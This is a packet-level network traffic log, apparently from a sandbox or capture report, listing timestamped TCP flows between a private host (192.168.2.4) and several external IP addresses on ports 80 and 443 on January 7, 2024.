Jan 7, 2024 05:30:06.332649946 CET	49771	80	192.168.2.4	91.104.83.7
Jan 7, 2024 05:30:06.332676888 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:06.332689047 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:06.332756042 CET	49771	80	192.168.2.4	91.104.83.7
Jan 7, 2024 05:30:06.332778931 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:06.332875013 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:06.332977057 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:06.333012104 CET	49771	80	192.168.2.4	91.104.83.7
Jan 7, 2024 05:30:06.333023071 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:06.333296061 CET	49771	80	192.168.2.4	91.104.83.7
Jan 7, 2024 05:30:06.568751097 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:06.569067001 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:06.569108009 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:06.569174051 CET	49771	80	192.168.2.4	91.104.83.7
Jan 7, 2024 05:30:06.570746899 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:06.570914984 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:06.570929050 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:06.570979118 CET	49771	80	192.168.2.4	91.104.83.7
Jan 7, 2024 05:30:06.572827101 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:06.572848082 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:06.572894096 CET	49771	80	192.168.2.4	91.104.83.7
Jan 7, 2024 05:30:06.573015928 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:06.575293064 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:06.575331926 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:06.575344086 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:06.575433969 CET	49771	80	192.168.2.4	91.104.83.7
Jan 7, 2024 05:30:06.575433969 CET	49771	80	192.168.2.4	91.104.83.7
Jan 7, 2024 05:30:06.576314926 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:06.576495886 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:06.576551914 CET	49771	80	192.168.2.4	91.104.83.7
Jan 7, 2024 05:30:06.583502054 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:06.583515882 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:06.583528042 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:06.583544016 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:06.583555937 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:06.583558083 CET	49771	80	192.168.2.4	91.104.83.7
Jan 7, 2024 05:30:06.583569050 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:06.583583117 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:06.583596945 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:06.583600998 CET	49771	80	192.168.2.4	91.104.83.7
Jan 7, 2024 05:30:06.583610058 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:06.583621025 CET	49771	80	192.168.2.4	91.104.83.7
Jan 7, 2024 05:30:06.583622932 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:06.583632946 CET	49771	80	192.168.2.4	91.104.83.7
Jan 7, 2024 05:30:06.583638906 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:06.583652973 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:06.583662987 CET	49771	80	192.168.2.4	91.104.83.7
Jan 7, 2024 05:30:06.583698034 CET	49771	80	192.168.2.4	91.104.83.7
Jan 7, 2024 05:30:06.584366083 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:06.591393948 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:06.591438055 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:06.591459990 CET	49771	80	192.168.2.4	91.104.83.7
Jan 7, 2024 05:30:06.591491938 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:06.591553926 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:06.591595888 CET	49771	80	192.168.2.4	91.104.83.7
Jan 7, 2024 05:30:06.591618061 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:06.591689110 CET	49771	80	192.168.2.4	91.104.83.7
Jan 7, 2024 05:30:06.591717005 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:06.591757059 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:06.591797113 CET	49771	80	192.168.2.4	91.104.83.7
Jan 7, 2024 05:30:06.591835022 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:06.592164040 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:06.592206955 CET	49771	80	192.168.2.4	91.104.83.7
Jan 7, 2024 05:30:06.592235088 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:06.592364073 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:06.592411041 CET	49771	80	192.168.2.4	91.104.83.7
Jan 7, 2024 05:30:06.592684984 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:06.596599102 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:06.596643925 CET	49771	80	192.168.2.4	91.104.83.7
Jan 7, 2024 05:30:06.597544909 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:06.597995043 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:06.598010063 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:06.598056078 CET	49771	80	192.168.2.4	91.104.83.7
Jan 7, 2024 05:30:06.598134995 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:06.598180056 CET	49771	80	192.168.2.4	91.104.83.7
Jan 7, 2024 05:30:06.599957943 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:06.600135088 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:06.600147963 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:06.600188971 CET	49771	80	192.168.2.4	91.104.83.7
Jan 7, 2024 05:30:06.609554052 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:06.609620094 CET	49771	80	192.168.2.4	91.104.83.7
Jan 7, 2024 05:30:06.609724998 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:06.609736919 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:06.609783888 CET	49771	80	192.168.2.4	91.104.83.7
Jan 7, 2024 05:30:06.609890938 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:06.609903097 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:06.609949112 CET	49771	80	192.168.2.4	91.104.83.7
Jan 7, 2024 05:30:06.610057116 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:06.610068083 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:06.610146046 CET	49771	80	192.168.2.4	91.104.83.7
Jan 7, 2024 05:30:06.610227108 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:06.610408068 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:06.610538960 CET	49771	80	192.168.2.4	91.104.83.7
Jan 7, 2024 05:30:06.610579967 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:06.610742092 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:06.610786915 CET	49771	80	192.168.2.4	91.104.83.7
Jan 7, 2024 05:30:06.611862898 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:06.611876011 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:06.611917973 CET	49771	80	192.168.2.4	91.104.83.7
Jan 7, 2024 05:30:06.613343954 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:06.613375902 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:06.613388062 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:06.613410950 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:06.613423109 CET	49771	80	192.168.2.4	91.104.83.7
Jan 7, 2024 05:30:06.613447905 CET	49771	80	192.168.2.4	91.104.83.7
Jan 7, 2024 05:30:06.613575935 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:06.615437984 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:06.615528107 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:06.615560055 CET	49771	80	192.168.2.4	91.104.83.7
Jan 7, 2024 05:30:06.615583897 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:06.615622997 CET	49771	80	192.168.2.4	91.104.83.7
Jan 7, 2024 05:30:06.617610931 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:06.617639065 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:06.617681026 CET	49771	80	192.168.2.4	91.104.83.7
Jan 7, 2024 05:30:06.617710114 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:06.619069099 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:06.619119883 CET	49771	80	192.168.2.4	91.104.83.7
Jan 7, 2024 05:30:06.619251013 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:06.621293068 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:06.621308088 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:06.621340990 CET	49771	80	192.168.2.4	91.104.83.7
Jan 7, 2024 05:30:06.622009993 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:06.622173071 CET	49771	80	192.168.2.4	91.104.83.7
Jan 7, 2024 05:30:06.623115063 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:06.623148918 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:06.623303890 CET	49771	80	192.168.2.4	91.104.83.7
Jan 7, 2024 05:30:06.838295937 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:06.838515043 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:06.838735104 CET	49771	80	192.168.2.4	91.104.83.7
Jan 7, 2024 05:30:06.840178967 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:06.841212988 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:06.841264963 CET	49771	80	192.168.2.4	91.104.83.7
Jan 7, 2024 05:30:06.841295958 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:06.842329025 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:06.842363119 CET	49771	80	192.168.2.4	91.104.83.7
Jan 7, 2024 05:30:06.842430115 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:06.842515945 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:06.842655897 CET	49771	80	192.168.2.4	91.104.83.7
Jan 7, 2024 05:30:06.844302893 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:06.845200062 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:06.845233917 CET	49771	80	192.168.2.4	91.104.83.7
Jan 7, 2024 05:30:06.845362902 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:06.845402956 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:06.845455885 CET	49771	80	192.168.2.4	91.104.83.7
Jan 7, 2024 05:30:06.847810984 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:06.847887039 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:06.847940922 CET	49771	80	192.168.2.4	91.104.83.7
Jan 7, 2024 05:30:06.849441051 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:06.849524021 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:06.849562883 CET	49771	80	192.168.2.4	91.104.83.7
Jan 7, 2024 05:30:06.849632025 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:06.851532936 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:06.851579905 CET	49771	80	192.168.2.4	91.104.83.7
Jan 7, 2024 05:30:06.852538109 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:06.853631973 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:06.853676081 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:06.853682041 CET	49771	80	192.168.2.4	91.104.83.7
Jan 7, 2024 05:30:06.853719950 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:06.853754997 CET	49771	80	192.168.2.4	91.104.83.7
Jan 7, 2024 05:30:06.855813980 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:06.855828047 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:06.855894089 CET	49771	80	192.168.2.4	91.104.83.7
Jan 7, 2024 05:30:06.855901957 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:06.859024048 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:06.859076023 CET	49771	80	192.168.2.4	91.104.83.7
Jan 7, 2024 05:30:06.859888077 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:06.859944105 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:06.860018015 CET	49771	80	192.168.2.4	91.104.83.7
Jan 7, 2024 05:30:06.860023022 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:06.862231016 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:06.862283945 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:06.862302065 CET	49771	80	192.168.2.4	91.104.83.7
Jan 7, 2024 05:30:06.862392902 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:06.862468958 CET	49771	80	192.168.2.4	91.104.83.7
Jan 7, 2024 05:30:06.862829924 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:06.862906933 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:06.862948895 CET	49771	80	192.168.2.4	91.104.83.7
Jan 7, 2024 05:30:06.865139008 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:06.865181923 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:06.865228891 CET	49771	80	192.168.2.4	91.104.83.7
Jan 7, 2024 05:30:06.867157936 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:06.867196083 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:06.867497921 CET	49771	80	192.168.2.4	91.104.83.7
Jan 7, 2024 05:30:06.869980097 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:06.870054960 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:06.870116949 CET	49771	80	192.168.2.4	91.104.83.7
Jan 7, 2024 05:30:06.870239019 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:06.872479916 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:06.872529984 CET	49771	80	192.168.2.4	91.104.83.7
Jan 7, 2024 05:30:06.872672081 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:06.872714043 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:06.872766018 CET	49771	80	192.168.2.4	91.104.83.7
Jan 7, 2024 05:30:06.874860048 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:06.874975920 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:06.875359058 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:06.875516891 CET	49771	80	192.168.2.4	91.104.83.7
Jan 7, 2024 05:30:06.876426935 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:06.876487970 CET	49771	80	192.168.2.4	91.104.83.7
Jan 7, 2024 05:30:06.876542091 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:06.879126072 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:06.879163980 CET	49771	80	192.168.2.4	91.104.83.7
Jan 7, 2024 05:30:06.879463911 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:06.879501104 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:06.879585028 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:06.879618883 CET	49771	80	192.168.2.4	91.104.83.7
Jan 7, 2024 05:30:06.881397963 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:06.881439924 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:06.881442070 CET	49771	80	192.168.2.4	91.104.83.7
Jan 7, 2024 05:30:06.883728981 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:06.883774996 CET	49771	80	192.168.2.4	91.104.83.7
Jan 7, 2024 05:30:06.883800030 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:06.884488106 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:06.884536028 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:06.884556055 CET	49771	80	192.168.2.4	91.104.83.7
Jan 7, 2024 05:30:06.887417078 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:06.887499094 CET	49771	80	192.168.2.4	91.104.83.7
Jan 7, 2024 05:30:06.887516975 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:06.887568951 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:06.887613058 CET	49771	80	192.168.2.4	91.104.83.7
Jan 7, 2024 05:30:07.078691006 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:07.081743002 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:07.081810951 CET	49771	80	192.168.2.4	91.104.83.7
Jan 7, 2024 05:30:07.081816912 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:07.081891060 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:07.081929922 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:07.081931114 CET	49771	80	192.168.2.4	91.104.83.7
Jan 7, 2024 05:30:07.082091093 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:07.082128048 CET	49771	80	192.168.2.4	91.104.83.7
Jan 7, 2024 05:30:07.082726955 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:07.082808971 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:07.082850933 CET	49771	80	192.168.2.4	91.104.83.7
Jan 7, 2024 05:30:07.085429907 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:07.086580038 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:07.086653948 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:07.086659908 CET	49771	80	192.168.2.4	91.104.83.7
Jan 7, 2024 05:30:07.088397026 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:07.088471889 CET	49771	80	192.168.2.4	91.104.83.7
Jan 7, 2024 05:30:07.088496923 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:07.088561058 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:07.088608980 CET	49771	80	192.168.2.4	91.104.83.7
Jan 7, 2024 05:30:07.092678070 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:07.092730999 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:07.092843056 CET	49771	80	192.168.2.4	91.104.83.7
Jan 7, 2024 05:30:07.092870951 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:07.191826105 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:07.191888094 CET	49771	80	192.168.2.4	91.104.83.7
Jan 7, 2024 05:30:07.194520950 CET	49771	80	192.168.2.4	91.104.83.7
Jan 7, 2024 05:30:07.315685987 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:30:07.315748930 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:30:07.401973963 CET	80	49771	91.104.83.7	192.168.2.4
Jan 7, 2024 05:30:07.510998964 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:30:07.527610064 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:30:07.595432043 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:30:07.595534086 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:30:07.772475004 CET	443	49772	172.67.131.114	192.168.2.4
Jan 7, 2024 05:30:07.772969961 CET	443	49772	172.67.131.114	192.168.2.4
Jan 7, 2024 05:30:07.773021936 CET	49772	443	192.168.2.4	172.67.131.114
Jan 7, 2024 05:30:07.789201975 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:30:07.807806015 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:30:07.821757078 CET	49772	443	192.168.2.4	172.67.131.114
Jan 7, 2024 05:30:07.821791887 CET	443	49772	172.67.131.114	192.168.2.4
Jan 7, 2024 05:30:07.872350931 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:30:07.995277882 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:08.084851027 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:08.084923983 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:08.085190058 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:08.177051067 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:08.382399082 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:08.382443905 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:08.382489920 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:08.382538080 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:08.382596970 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:08.382642031 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:08.382704020 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:08.382774115 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:08.382812023 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:08.382837057 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:08.382908106 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:08.382992983 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:08.383018017 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:08.501636028 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:08.501678944 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:08.501692057 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:08.501691103 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:08.501751900 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:08.501760006 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:08.501833916 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:08.501877069 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:08.501912117 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:08.501977921 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:08.501992941 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:08.502037048 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:08.502063036 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:08.502104998 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:08.502882004 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:08.502985954 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:08.503034115 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:08.503057957 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:08.503149033 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:08.503194094 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:08.503216028 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:08.503746033 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:08.503868103 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:08.504149914 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:08.504196882 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:08.504245043 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:08.504339933 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:08.504390001 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:08.504426956 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:08.504484892 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:08.504565001 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:08.504601955 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:08.504606962 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:08.559338093 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:08.559360027 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:08.559372902 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:08.559386015 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:08.559427023 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:08.559441090 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:08.559463024 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:08.559490919 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:08.559674025 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:08.559715986 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:08.559776068 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:08.559926987 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:08.560015917 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:08.560064077 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:08.560090065 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:08.589468956 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:08.589528084 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:08.589536905 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:08.646620989 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:08.646678925 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:08.646678925 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:08.646805048 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:08.646852970 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:08.646873951 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:08.646985054 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:08.647028923 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:08.647036076 CET	80	49775	104.21.26.173	192.168.2.4
